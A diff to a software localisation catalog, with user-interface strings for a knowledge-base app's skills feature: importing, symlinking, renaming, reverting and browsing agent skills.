+msgstr "Move"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Move between table cells"
msgstr "Move between table cells"
@@ -5886,6 +6406,10 @@ msgstr "Move block"
msgid "Move down"
msgstr "Move down"
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Move or rename this file inside the skill — the path stays under references/ or scripts/."
+msgstr "Move or rename this file inside the skill — the path stays under references/ or scripts/."
+
#: src/components/FileTree.tsx
msgid "Move succeeded but the sidebar may be out of date — refresh to resync"
msgstr "Move succeeded but the sidebar may be out of date — refresh to resync"
@@ -5906,6 +6430,17 @@ msgstr "Move through slash, wiki-link, tag, and path suggestions; accept or dism
msgid "Move through visual-editor find results from the find field."
msgstr "Move through visual-editor find results from the find field."
+#. placeholder {0}: scopeLabels.global
+#. placeholder {0}: scopeLabels.project
+#: src/components/skill-actions.tsx
+msgid "Move to {0}"
+msgstr "Move to {0}"
+
+#. placeholder {0}: scopeLabels[toScope]
+#: src/components/SkillScopeMoveDialog.tsx
+msgid "Move to {0}?"
+msgstr "Move to {0}?"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Move to the next CodeMirror lint diagnostic."
msgstr "Move to the next CodeMirror lint diagnostic."
@@ -5931,15 +6466,11 @@ msgstr "Move to Trash"
msgid "Move up"
msgstr "Move up"
-#. placeholder {0}: scopeLabels[next]
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Moved \"{name}\" to {0}"
-msgstr "Moved \"{name}\" to {0}"
-
-#. placeholder {0}: scopeLabels[next]
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Moved \"{name}\" to {0} ({skipped} binary file(s) not copied)"
-msgstr "Moved \"{name}\" to {0} ({skipped} binary file(s) not copied)"
+#. placeholder {0}: skill.name
+#. placeholder {1}: scopeLabels[toScope]
+#: src/hooks/use-move-skill-scope.ts
+msgid "Moved \"{0}\" to {1}"
+msgstr "Moved \"{0}\" to {1}"
#. placeholder {0}: moved.label
#. placeholder {1}: moved.position
@@ -5964,6 +6495,7 @@ msgstr "my-feature"
+#: src/components/SkillBundlePreview.tsx
#: src/components/SkillProperties.tsx
#: src/components/TemplateProperties.tsx
msgid "name"
@@ -5986,6 +6518,7 @@ msgid "Name can’t be empty, \".\", \"..\", or contain / or \\"
msgstr "Name can’t be empty, \".\", \"..\", or contain / or \\"
#: src/components/NewItemDialog.tsx
+#: src/components/NewSkillDialog.tsx
msgid "Name cannot be empty"
msgstr "Name cannot be empty"
@@ -6073,6 +6606,8 @@ msgstr "New changes from your remote appear in your copy automatically."
#: src/components/FileSidebar.tsx
#: src/components/FileTree.tsx
#: src/components/NewItemDialog.tsx
+#: src/components/skill-actions.tsx
+#: src/components/SkillsSidebarSection.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "New file"
msgstr "New file"
@@ -6085,6 +6620,10 @@ msgstr "New file from template \"{displayTitle}\" ({fileName}) in {targetLabel}"
msgid "New file from template \"{displayTitle}\" ({fileName}) in the project root"
msgstr "New file from template \"{displayTitle}\" ({fileName}) in the project root"
+#: src/components/SkillEditorActions.tsx
+msgid "New file in this skill"
+msgstr "New file in this skill"
+
#: src/components/AppMenubar.tsx
#: src/components/command-palette-commands.ts
#: src/components/FileSidebar.tsx
@@ -6094,6 +6633,10 @@ msgstr "New file from template \"{displayTitle}\" ({fileName}) in the project ro
msgid "New folder"
msgstr "New folder"
+#: src/components/SkillsBasePage.tsx
+msgid "New from scratch"
+msgstr "New from scratch"
+
#: src/components/command-palette-commands.ts
#: src/components/FileSidebar.tsx
#: src/components/FileTree.tsx
@@ -6108,6 +6651,10 @@ msgstr "New from Template…"
msgid "New ignore pattern"
msgstr "New ignore pattern"
+#: src/components/SkillForkDialog.tsx
+msgid "New name for the {editor} version"
+msgstr "New name for the {editor} version"
+
#: src/components/command-palette-commands.ts
#: src/components/ProjectSwitcher.tsx
msgid "New project"
@@ -6129,12 +6676,16 @@ msgstr "New schema"
msgid "New session"
msgstr "New session"
+#: src/components/command-palette-commands.ts
#: src/components/NewSkillDialog.tsx
-#: src/components/settings/SkillsManagerSection.tsx
#: src/components/SkillsSidebarSection.tsx
msgid "New skill"
msgstr "New skill"
+#: src/components/SkillFileCreateDialog.tsx
+msgid "New skill file"
+msgstr "New skill file"
+
#: src/components/EditorTabs.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "New tab"
@@ -6173,6 +6724,7 @@ msgstr "New worktree…"
msgid "Next change"
msgstr "Next change"
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
msgid "Next match"
msgstr "Next match"
@@ -6214,6 +6766,10 @@ msgstr "No agents enabled"
msgid "No agents match your search."
msgstr "No agents match your search."
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "No agents selected — the skills are saved but not installed anywhere."
+msgstr "No agents selected — the skills are saved but not installed anywhere."
+
#: src/components/FileSidebar.tsx
msgid "No AI agents installed"
msgstr "No AI agents installed"
@@ -6246,10 +6802,6 @@ msgstr "No content changes at this version."
msgid "No content changes in this version"
msgstr "No content changes in this version"
-#: src/components/SkillRow.tsx
-msgid "No description yet — add one so agents know when to use this skill."
-msgstr "No description yet — add one so agents know when to use this skill."
-
#: src/components/GraphPanel.tsx
msgid "No disconnected pages. Pages appear here only when they have no incoming and no outgoing graph edges."
msgstr "No disconnected pages. Pages appear here only when they have no incoming and no outgoing graph edges."
@@ -6278,6 +6830,10 @@ msgstr "No excerpt"
msgid "No file or folder selected"
msgstr "No file or folder selected"
+#: src/components/ImportSkillForm.tsx
+msgid "No file selected"
+msgstr "No file selected"
+
#: src/components/FileTree.tsx
msgid "No files yet."
msgstr "No files yet."
@@ -6295,10 +6851,6 @@ msgstr "No git repository — config sharing does not apply here."
msgid "no git repository here"
msgstr "no git repository here"
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "No global skills yet."
-msgstr "No global skills yet."
-
#: src/editor/wiki-link-suggestion/WikiLinkSuggestionMenu.tsx
msgid "No headings in {pageTarget}"
msgstr "No headings in {pageTarget}"
@@ -6411,10 +6963,6 @@ msgstr "No problems found — but no lint plugins are enabled, so only links are
msgid "No problems found."
msgstr "No problems found."
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "No project skills yet. Author one to teach agents a repeatable task scoped to this knowledge base."
-msgstr "No project skills yet. Author one to teach agents a repeatable task scoped to this knowledge base."
-
#: src/components/settings/ProjectTemplatesSection.tsx
msgid "No project templates yet. Create one to make it available everywhere in this project. Folder-scoped templates live on each folder's overview page."
msgstr "No project templates yet. Create one to make it available everywhere in this project. Folder-scoped templates live on each folder's overview page."
@@ -6456,9 +7004,17 @@ msgstr "No schemas match your search."
msgid "No settings found"
msgstr "No settings found"
-#: src/components/SkillsSidebarSection.tsx
-msgid "No skills yet."
-msgstr "No skills yet."
+#: src/components/ImportSkillForm.tsx
+msgid "No skill found at that source. Import will report why if you continue."
+msgstr "No skill found at that source. Import will report why if you continue."
+
+#: src/components/ExploreSkills.tsx
+msgid "No skills found."
+msgstr "No skills found."
+
+#: src/components/SkillRenameDialog.tsx
+msgid "No spaces — use <0>-</0> instead."
+msgstr "No spaces — use <0>-</0> instead."
#: src/components/PackCardGrid.tsx
msgid "No starter packs available."
@@ -6547,7 +7103,6 @@ msgstr "Not installed"
#: src/components/acp/ThreadView.tsx
#: src/components/ReportBugDialogBody.tsx
-#: src/components/SkillsSidebarSection.tsx
#: src/lib/install-server-drift-listener.ts
msgid "Not now"
msgstr "Not now"
@@ -6636,6 +7191,12 @@ msgstr "Offline"
msgid "OK Desktop"
msgstr "OK Desktop"
+#. placeholder {0}: f.expected ?? ''
+#. placeholder {0}: o.expected ?? ''
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "OK last set this folder to {0} — something outside OK changed it since. The state shown is what's on disk now; your next Symlink/Unlink wins."
+msgstr "OK last set this folder to {0} — something outside OK changed it since. The state shown is what's on disk now; your next Symlink/Unlink wins."
+
#: src/components/ConnectingBanner.tsx
msgid "ok ui responded but server.lock has no port yet"
msgstr "ok ui responded but server.lock has no port yet"
@@ -6860,11 +7421,6 @@ msgstr "Open in worktree"
msgid "Open it there"
msgstr "Open it there"
-#. placeholder {0}: state.importable
-#: src/components/SkillsSidebarSection.tsx
-msgid "Open Knowledge can manage {0} editor skill(s) for this project. Import moves them into .ok/skills and replaces the .claude, .codex, etc. copies with symlinks — one place to edit, in sync everywhere. If those folders are committed to git, review the change first; symlinks can behave differently on some editors and on Windows."
-msgstr "Open Knowledge can manage {0} editor skill(s) for this project. Import moves them into .ok/skills and replaces the .claude, .codex, etc. copies with symlinks — one place to edit, in sync everywhere. If those folders are committed to git, review the change first; symlinks can behave differently on some editors and on Windows."
-
#: src/components/GraphPanel.tsx
msgid "Open link"
msgstr "Open link"
@@ -7040,6 +7596,10 @@ msgstr "Opens a folder picker to choose where to clone the repository."
msgid "Opens in a new tab"
msgstr "Opens in a new tab"
+#: src/components/SkillInstallMenu.tsx
+msgid "Opens Settings → Skills, where you link a whole folder into another so both agents read the same skills, and add custom skill roots."
+msgstr "Opens Settings → Skills, where you link a whole folder into another so both agents read the same skills, and add custom skill roots."
+
#: src/components/empty-state/CreateView.tsx
#: src/components/PackCardGrid.tsx
msgid "or create a new file <0/>"
@@ -7118,6 +7678,10 @@ msgstr "Overlapping edits"
msgid "Owner"
msgstr "Owner"
+#: src/components/ImportSkillForm.tsx
+msgid "owner/repo, a git URL, or a local path"
+msgstr "owner/repo, a git URL, or a local path"
+
#: src/editor/extensions/InternalLinkPropPanel.tsx
#: src/editor/link-path-suggestions.tsx
msgid "Page"
@@ -7192,6 +7756,15 @@ msgstr "Paragraph"
msgid "Parse failed"
msgstr "Parse failed"
+#. placeholder {0}: det.provenance.plugin
+#: src/components/SkillsSidebarSection.tsx
+msgid "Part of the {0} plugin — read-only; open it to edit a copy"
+msgstr "Part of the {0} plugin — read-only; open it to edit a copy"
+
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "Part of the {plugin} plugin"
+msgstr "Part of the {plugin} plugin"
+
#: src/components/AppMenubar.tsx
msgid "Paste"
msgstr "Paste"
@@ -7228,6 +7801,11 @@ msgstr "Paste was incomplete — {chunksCompleted} of {totalChunks} chunks lande
msgid "Paste your API key"
msgstr "Paste your API key"
+#: src/components/SkillFileCreateDialog.tsx
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Path"
+msgstr "Path"
+
#: src/components/NewItemDialog.tsx
msgid "Path cannot contain \"..\""
msgstr "Path cannot contain \"..\""
@@ -7312,6 +7890,10 @@ msgstr "Pick a built-in IDE color palette, or define your own."
msgid "Pick a built-in IDE palette. The dark IDE themes override the light/dark setting in Preferences."
msgstr "Pick a built-in IDE palette. The dark IDE themes override the light/dark setting in Preferences."
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Pick a folder to merge INTO {display}. That folder becomes a symlink to this one, so its agent reads everything placed here. This folder stays real. Conflicting skills abort the merge."
+msgstr "Pick a folder to merge INTO {display}. That folder becomes a symlink to this one, so its agent reads everything placed here. This folder stays real. Conflicting skills abort the merge."
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Pick a name"
msgstr "Pick a name"
@@ -7324,6 +7906,14 @@ msgstr "Pick an emoji to insert at the cursor."
msgid "Pick the folder where you've cloned it."
msgstr "Pick the folder where you've cloned it."
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Pick the skills to install. Each one lands as an editable skill you own; the plugin's hooks, commands, and MCP servers are not installed."
+msgstr "Pick the skills to install. Each one lands as an editable skill you own; the plugin's hooks, commands, and MCP servers are not installed."
+
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Pick the skills to install. Each one lands as an editable skill you own."
+msgstr "Pick the skills to install. Each one lands as an editable skill you own."
+
#: src/components/acp/ThreadView.tsx
msgid "Pick up where you left off"
msgstr "Pick up where you left off"
@@ -7362,6 +7952,14 @@ msgstr "Plugins"
msgid "Point semantic search at any OpenAI-compatible embeddings endpoint — a self-hosted server or another provider. The API key above is for whichever endpoint you set here."
msgstr "Point semantic search at any OpenAI-compatible embeddings endpoint — a self-hosted server or another provider. The API key above is for whichever endpoint you set here."
+#: src/components/ExploreSkills.tsx
+msgid "Popular"
+msgstr "Popular"
+
+#: src/components/SkillsBasePage.tsx
+msgid "Popular on skills.sh"
+msgstr "Popular on skills.sh"
+
#: src/components/settings/SettingsDialogBody.tsx
#: src/components/settings/SettingsDialogShell.tsx
msgid "Preferences"
@@ -7399,6 +7997,7 @@ msgstr "Previews of links to other documents in this project are always on and r
msgid "Previous change"
msgstr "Previous change"
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
msgid "Previous match"
msgstr "Previous match"
@@ -7486,10 +8085,6 @@ msgstr "Project root"
msgid "Project skill"
msgstr "Project skill"
-#: src/lib/skill-scope.ts
-msgid "Project Skill"
-msgstr "Project Skill"
-
#: src/components/settings/ProjectTemplatesSection.tsx
msgid "Project templates"
msgstr "Project templates"
@@ -7644,6 +8239,10 @@ msgstr "Re-place on selected text"
msgid "Re-run the project audit"
msgstr "Re-run the project audit"
+#: src/components/ExploreSkills.tsx
+msgid "React"
+msgstr "React"
+
#: src/components/empty-state/use-create-suggestions.ts
msgid "Read through this codebase and draft a technical spec for the most complex module: an overview, the architecture, key files, and open questions, all linked from a specs index page."
msgstr "Read through this codebase and draft a technical spec for the most complex module: an overview, the architecture, key files, and open questions, all linked from a specs index page."
@@ -7652,6 +8251,10 @@ msgstr "Read through this codebase and draft a technical spec for the most compl
msgid "Read-only copy of a MirrorSource block from another doc. Edit at the source and it updates live."
msgstr "Read-only copy of a MirrorSource block from another doc. Edit at the source and it updates live."
+#: src/components/SkillFileViewer.tsx
+msgid "Read-only file in the {name} skill"
+msgstr "Read-only file in the {name} skill"
+
#: src/components/SeedDialog.tsx
msgid "Ready-made folders and templates to get you started quickly."
msgstr "Ready-made folders and templates to get you started quickly."
@@ -7716,6 +8319,10 @@ msgstr "Recovered content"
msgid "Redo"
msgstr "Redo"
+#: src/components/ExploreSkills.tsx
+msgid "Refactoring"
+msgstr "Refactoring"
+
#. placeholder {0}: row.reference
#: src/components/BugReportHistory.tsx
msgid "Reference <0>{0}</0>"
@@ -7757,6 +8364,10 @@ msgstr "Relaunching to install the update…"
msgid "Release notes"
msgstr "Release notes"
+#: src/components/ExploreSkills.tsx
+msgid "Relevance"
+msgstr "Relevance"
+
#: src/components/AppMenubar.tsx
#: src/components/EditorActivityPool.tsx
#: src/components/settings/SettingsDialogErrorBoundary.tsx
@@ -7772,10 +8383,18 @@ msgstr "Remember this for future agents"
msgid "remote"
msgstr "remote"
+#: src/components/ImportSkillForm.tsx
+msgid "Remote"
+msgstr "Remote"
+
#: src/components/NewWorktreeDialog.tsx
msgid "Remote branch <0>{remoteCheckoutRef}</0> will be checked out as a new local tracking branch <1>{trimmed}</1>, in its own window under <2>.ok/worktrees/</2>."
msgstr "Remote branch <0>{remoteCheckoutRef}</0> will be checked out as a new local tracking branch <1>{trimmed}</1>, in its own window under <2>.ok/worktrees/</2>."
+#: src/components/ImportSkillForm.tsx
+msgid "Remote skill source"
+msgstr "Remote skill source"
+
#: src/editor/extensions/InternalLinkPropPanel.tsx
#: src/editor/extensions/WikiLinkPropPanel.tsx
msgid "Remove"
@@ -7873,6 +8492,11 @@ msgstr "Remove the parent <0>.git</0> folder"
msgid "Remove this comment from the queue"
msgstr "Remove this comment from the queue"
+#. placeholder {0}: skill.name
+#: src/components/skill-actions.tsx
+msgid "Removed \"{0}\" from every other location — its source folder still loads"
+msgstr "Removed \"{0}\" from every other location — its source folder still loads"
+
#: src/lib/install-recent-removed-listener.ts
msgid "Removed \"{projectName}\" from recent projects. Its folder no longer exists."
msgstr "Removed \"{projectName}\" from recent projects. Its folder no longer exists."
@@ -7894,6 +8518,7 @@ msgstr "Removing OpenKnowledge files…"
#: src/components/command-palette-commands.ts
#: src/components/FileTree.tsx
#: src/components/skill-actions.tsx
+#: src/components/SkillFileRenameDialog.tsx
#: src/components/SkillRenameDialog.tsx
msgid "Rename"
msgstr "Rename"
@@ -7911,6 +8536,15 @@ msgstr "Rename {keyName}"
msgid "Rename {label}"
msgstr "Rename {label}"
+#. placeholder {0}: result.error
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Rename failed: {0}"
+msgstr "Rename failed: {0}"
+
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Rename file"
+msgstr "Rename file"
+
#: src/components/SkillRenameDialog.tsx
msgid "Rename skill"
msgstr "Rename skill"
@@ -7929,14 +8563,20 @@ msgstr "Rename succeeded but the tabstrip may be out of date — refresh to resy
msgid "Renamed {0} → {1}"
msgstr "Renamed {0} → {1}"
-#: src/components/SkillRenameDialog.tsx
-msgid "Renamed to \"{trimmed}\""
-msgstr "Renamed to \"{trimmed}\""
+#: src/components/ManagedArtifactProperties.tsx
+msgid "Renamed to \"{next}\""
+msgstr "Renamed to \"{next}\""
+
+#. placeholder {0}: result.to
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Renamed to {0}"
+msgstr "Renamed to {0}"
#: src/components/SkillRenameDialog.tsx
msgid "Renames the folder on disk and the id agents use to invoke it."
msgstr "Renames the folder on disk and the id agents use to invoke it."
+#: src/components/SkillFileRenameDialog.tsx
#: src/components/SkillRenameDialog.tsx
msgid "Renaming"
msgstr "Renaming"
@@ -7999,6 +8639,22 @@ msgstr "Replace key"
msgid "Replace the active match from the replace field."
msgstr "Replace the active match from the replace field."
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace the copy at {display} with a symlink to the skill's source folder? Nothing else moves."
+msgstr "Replace the copy at {display} with a symlink to the skill's source folder? Nothing else moves."
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace the symlink at {display} with an independent copy of the skill? Nothing else moves."
+msgstr "Replace the symlink at {display} with an independent copy of the skill? Nothing else moves."
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace these copies with symlinks to the source?"
+msgstr "Replace these copies with symlinks to the source?"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Replace these symlinks with independent copies?"
+msgstr "Replace these symlinks with independent copies?"
+
#: src/components/BugReportHistory.tsx
#: src/components/command-palette-commands.ts
#: src/components/HelpPopover.tsx
@@ -8029,6 +8685,7 @@ msgstr "Repositories you've already cloned may keep syncing through git's own sa
#: src/components/CloneDialog.tsx
#: src/components/share-metadata-rows.tsx
+#: src/components/SkillPreviewTab.tsx
#: src/components/SyncStatusBadge.tsx
msgid "Repository"
msgstr "Repository"
@@ -8249,6 +8906,27 @@ msgstr "Reveal in Finder, {hint}"
msgid "Reveal in Finder, No workspace"
msgstr "Reveal in Finder, No workspace"
+#: src/components/SkillOriginInline.tsx
+msgid "Revert"
+msgstr "Revert"
+
+#. placeholder {0}: result.error
+#: src/hooks/use-skill-origin.ts
+msgid "Revert failed: {0}"
+msgstr "Revert failed: {0}"
+
+#: src/components/SkillOriginInline.tsx
+msgid "Revert to installed version"
+msgstr "Revert to installed version"
+
+#: src/hooks/use-skill-origin.ts
+msgid "Reverted \"{name}\" to the installed version"
+msgstr "Reverted \"{name}\" to the installed version"
+
+#: src/components/SkillOriginInline.tsx
+msgid "Reverting"
+msgstr "Reverting"
+
#: src/components/SyncStatusBadge.tsx
msgid "Review conflicts"
msgstr "Review conflicts"
@@ -8334,6 +9012,18 @@ msgstr "Saved"
msgid "Saved as <0>{slug}.md</0>"
msgstr "Saved as <0>{slug}.md</0>"
+#: src/components/ImportSkillForm.tsx
+msgid "Saved into this project's skills folder (e.g. <0>.agents/skills</0>), versioned alongside your project."
+msgstr "Saved into this project's skills folder (e.g. <0>.agents/skills</0>), versioned alongside your project."
+
+#: src/components/ImportSkillForm.tsx
+msgid "Saved into your global skills folder (e.g. <0>~/.agents/skills</0>)."
+msgstr "Saved into your global skills folder (e.g. <0>~/.agents/skills</0>)."
+
+#: src/components/SkillProperties.tsx
+msgid "Saved to"
+msgstr "Saved to"
+
#: src/components/settings/SharingSection.tsx
#: src/components/SharingModeField.tsx
msgid "Saved with the project for your team."
@@ -8351,7 +9041,7 @@ msgstr "Saving"
msgid "schema {deleteTarget}"
msgstr "schema {deleteTarget}"
-#: src/components/NewSkillDialog.tsx
+#: src/components/ImportSkillForm.tsx
#: src/components/PanelScopeHeader.tsx
msgid "Scope"
msgstr "Scope"
@@ -8404,6 +9094,10 @@ msgstr "Search emoji"
msgid "Search failed."
msgstr "Search failed."
+#: src/components/ExploreSkills.tsx
+msgid "Search failed. Try again."
+msgstr "Search failed. Try again."
+
#: src/lib/keyboard-shortcuts.ts
msgid "Search files, commands, projects, and AI handoff actions. With text selected in the visual editor, this chord adds a link instead."
msgstr "Search files, commands, projects, and AI handoff actions. With text selected in the visual editor, this chord adds a link instead."
@@ -8453,6 +9147,10 @@ msgstr "Search settings"
msgid "Search settings not yet loaded — try again in a moment"
msgstr "Search settings not yet loaded — try again in a moment"
+#: src/components/ExploreSkills.tsx
+msgid "Search skills"
+msgstr "Search skills"
+
#: src/components/NewItemDialog.tsx
msgid "Search templates"
msgstr "Search templates"
@@ -8466,6 +9164,7 @@ msgid "Search worktrees and branches"
msgstr "Search worktrees and branches"
#: src/components/CommandPalette.tsx
+#: src/components/ExploreSkills.tsx
msgid "Searching"
msgstr "Searching"
@@ -8494,6 +9193,10 @@ msgstr "Section <0>(optional heading anchor)</0>"
msgid "Sections"
msgstr "Sections"
+#: src/components/ExploreSkills.tsx
+msgid "Security"
+msgstr "Security"
+
#: src/editor/slash-command/component-items.tsx
msgid "See <0>#design-docs</0> for the latest specs."
msgstr "See <0>#design-docs</0> for the latest specs."
@@ -8515,6 +9218,7 @@ msgstr "See the full install guide"
msgid "Select a value"
msgstr "Select a value"
+#: src/components/SkillPluginBundleDialog.tsx
#: src/uninstall/UninstallPickerScreen.tsx
msgid "Select all"
msgstr "Select all"
@@ -8808,10 +9512,6 @@ msgstr "Shared default"
msgid "Shared repositories"
msgstr "Shared repositories"
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "Shared via git with everyone working on this project."
-msgstr "Shared via git with everyone working on this project."
-
#: src/components/settings/ScopeBadge.tsx
msgid "Shared with everyone on this project — committed to config.yml via git."
msgstr "Shared with everyone on this project — committed to config.yml via git."
@@ -8956,12 +9656,6 @@ msgstr "Show selection preview"
msgid "Show sidebar"
msgstr "Show sidebar"
-#: src/components/AppMenubar.tsx
-#: src/components/command-palette-commands.ts
-#: src/components/FileSidebar.tsx
-msgid "Show skills section"
-msgstr "Show skills section"
-
#: src/components/MermaidFileViewer.tsx
msgid "Show source"
msgstr "Show source"
@@ -9015,10 +9709,6 @@ msgstr "Sign-in stream ended without confirmation — please try again"
msgid "Single page"
msgstr "Single page"
-#: src/components/CreatedItemsList.tsx
-msgid "Skill"
-msgstr "Skill"
-
#. placeholder {0}: skill.name
#: src/components/SkillDeleteDialog.tsx
msgid "skill \"{0}\""
@@ -9029,22 +9719,20 @@ msgstr "skill \"{0}\""
msgid "Skill \"{0}\" deleted"
msgstr "Skill \"{0}\" deleted"
-#: src/components/NewSkillDialog.tsx
-msgid "Skill \"{trimmedName}\" created"
-msgstr "Skill \"{trimmedName}\" created"
+#: src/hooks/use-create-blank-skill.ts
+msgid "Skill \"{name}\" created"
+msgstr "Skill \"{name}\" created"
-#: src/components/SkillProperties.tsx
-msgid "Skill level"
-msgstr "Skill level"
-
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Skill renamed"
-msgstr "Skill renamed"
+#: src/components/ExploreSkills.tsx
+msgid "Skill discovery powered by <0>skills.sh</0>"
+msgstr "Skill discovery powered by <0>skills.sh</0>"
+#: src/components/command-palette-commands.ts
+#: src/components/EditorTabs.tsx
#: src/components/FileSidebar.tsx
+#: src/components/FilesSkillsToggle.tsx
#: src/components/settings/SettingsDialogShell.tsx
#: src/components/settings/SkillsManagerSection.tsx
-#: src/components/SkillsSidebarSection.tsx
msgid "Skills"
msgstr "Skills"
@@ -9052,9 +9740,23 @@ msgstr "Skills"
msgid "Skills are now shared. Commit .ok/skills to share them with your team."
msgstr "Skills are now shared. Commit .ok/skills to share them with your team."
+#: src/components/AppMenubar.tsx
+#: src/components/command-palette-commands.ts
+#: src/components/FileSidebar.tsx
+msgid "Skills section"
+msgstr "Skills section"
+
#: src/components/settings/SkillsManagerSection.tsx
-msgid "Skills teach agents repeatable tasks. Author them here; install a skill to project it into your editors' skill folders."
-msgstr "Skills teach agents repeatable tasks. Author them here; install a skill to project it into your editors' skill folders."
+msgid "Skills teach agents repeatable tasks. Author and manage them from the Skills section in the editor; each skill's install menu controls where it lives. These are this project's skill folders."
+msgstr "Skills teach agents repeatable tasks. Author and manage them from the Skills section in the editor; each skill's install menu controls where it lives. These are this project's skill folders."
+
+#: src/components/SkillPreviewTab.tsx
+msgid "skills.sh"
+msgstr "skills.sh"
+
+#: src/components/ExploreSkills.tsx
+msgid "skills.sh is unavailable; showing GitHub results (no install ranking)."
+msgstr "skills.sh is unavailable; showing GitHub results (no install ranking)."
#. Secondary button — dismisses the dialog without wiring any tools
#: src/components/AuthModal.tsx
@@ -9116,10 +9818,24 @@ msgstr "Something went wrong starting the terminal."
msgid "Something went wrong. Please try again."
msgstr "Something went wrong. Please try again."
+#: src/components/ExploreSkills.tsx
+msgid "Sort by"
+msgstr "Sort by"
+
+#: src/components/ExploreSkills.tsx
+msgid "Sort skills"
+msgstr "Sort skills"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "source"
+msgstr "source"
+
#: src/components/AgentDiffPane.tsx
+#: src/components/ImportSkillForm.tsx
#: src/components/LintConfigEditor.tsx
#: src/components/MermaidFileViewer.tsx
#: src/components/SchemaConfigEditor.tsx
+#: src/components/SkillPreviewTab.tsx
#: src/components/TimelineDiffPane.tsx
msgid "Source"
msgstr "Source"
@@ -9269,6 +9985,18 @@ msgstr "Stop"
msgid "Stop (Esc)"
msgstr "Stop (Esc)"
+#. placeholder {0}: hostLabel(h)
+#. placeholder {1}: skill.name
+#. placeholder {2}: hostLabel(h)
+#: src/components/SkillInstallMenu.tsx
+msgid "Stop {0} reading \"{1}\"? {subRoot} will keep its other skills (as symlinks) but stop following {poolRootRel} — new skills added there won't reach {2} automatically."
+msgstr "Stop {0} reading \"{1}\"? {subRoot} will keep its other skills (as symlinks) but stop following {poolRootRel} — new skills added there won't reach {2} automatically."
+
+#. placeholder {0}: hostLabel(h)
+#: src/components/SkillInstallMenu.tsx
+msgid "Stop {0} reading this skill"
+msgstr "Stop {0} reading this skill"
+
#: src/components/acp/ThreadView.tsx
msgid "Stopping"
msgstr "Stopping"
@@ -9285,6 +10013,10 @@ msgstr "Strikethrough"
msgid "Style"
msgstr "Style"
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "subagents"
+msgstr "subagents"
+
#: src/components/SeedDialog.tsx
msgid "Subfolder name"
msgstr "Subfolder name"
@@ -9326,6 +10058,10 @@ msgstr "Surface"
msgid "Switch and update branch"
msgstr "Switch and update branch"
+#: src/components/FilesSkillsToggle.tsx
+msgid "Switch between Files and Skills"
+msgstr "Switch between Files and Skills"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Switch between the visual and source editors, keeping your place."
msgstr "Switch between the visual and source editors, keeping your place."
@@ -9368,14 +10104,36 @@ msgstr "Switching branches"
msgid "Switching to <0>local-only</0> will refuse until they're untracked via<1> git rm --cached</1>."
msgstr "Switching to <0>local-only</0> will refuse until they're untracked via<1> git rm --cached</1>."
+#: src/components/settings/SkillTargetsPicker.tsx
+#: src/components/SkillInstallMenu.tsx
+msgid "symlink"
+msgstr "symlink"
+
#: src/components/FileTree.tsx
msgid "Symlink"
msgstr "Symlink"
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Symlink another folder into one of these so both agents read the same skills; unlink to manage a folder's skills one by one again."
+msgstr "Symlink another folder into one of these so both agents read the same skills; unlink to manage a folder's skills one by one again."
+
#: src/components/FileTree.tsx
msgid "Symlink to {targetPath}"
msgstr "Symlink to {targetPath}"
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "symlinked via parent"
+msgstr "symlinked via parent"
+
+#. placeholder {0}: r.display
+#: src/components/SkillInstallMenu.tsx
+msgid "Symlinks the skill to {0}"
+msgstr "Symlinks the skill to {0}"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Symlinks the skill to {path}"
+msgstr "Symlinks the skill to {path}"
+
#: src/components/settings/SettingsDialogShell.tsx
#: src/components/settings/SyncSection.tsx
#: src/components/SyncStatusBadge.tsx
@@ -9506,6 +10264,10 @@ msgstr "Tag value"
msgid "tag-name"
msgstr "tag-name"
+#: src/components/SkillBundlePreview.tsx
+msgid "tags"
+msgstr "tags"
+
#: src/components/CommandPalette.tsx
msgid "Tags matching \"{tagListQuery}\""
msgstr "Tags matching \"{tagListQuery}\""
@@ -9518,6 +10280,10 @@ msgstr "Take a look if you'd like. This exact file is what we receive."
msgid "Take a piece of writing from a rough idea to a finished draft to something you're ready to share. Good for blog posts, essays, or anything you want to move through clear stages."
msgstr "Take a piece of writing from a rough idea to a finished draft to something you're ready to share. Good for blog posts, essays, or anything you want to move through clear stages."
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "Take upstream"
+msgstr "Take upstream"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Task list"
msgstr "Task list"
@@ -9526,10 +10292,6 @@ msgstr "Task list"
msgid "Task List"
msgstr "Task List"
-#: src/components/NewSkillDialog.tsx
-msgid "Teach agents a repeatable task. You can edit the body after creating."
-msgstr "Teach agents a repeatable task. You can edit the body after creating."
-
#. Subtext for the project runtime-skill row
#: src/components/settings/ProjectAiToolsSection.tsx
msgid "Teaches coding agents in this project to read and write through OpenKnowledge."
@@ -9551,6 +10313,10 @@ msgstr "Tell us more (optional)"
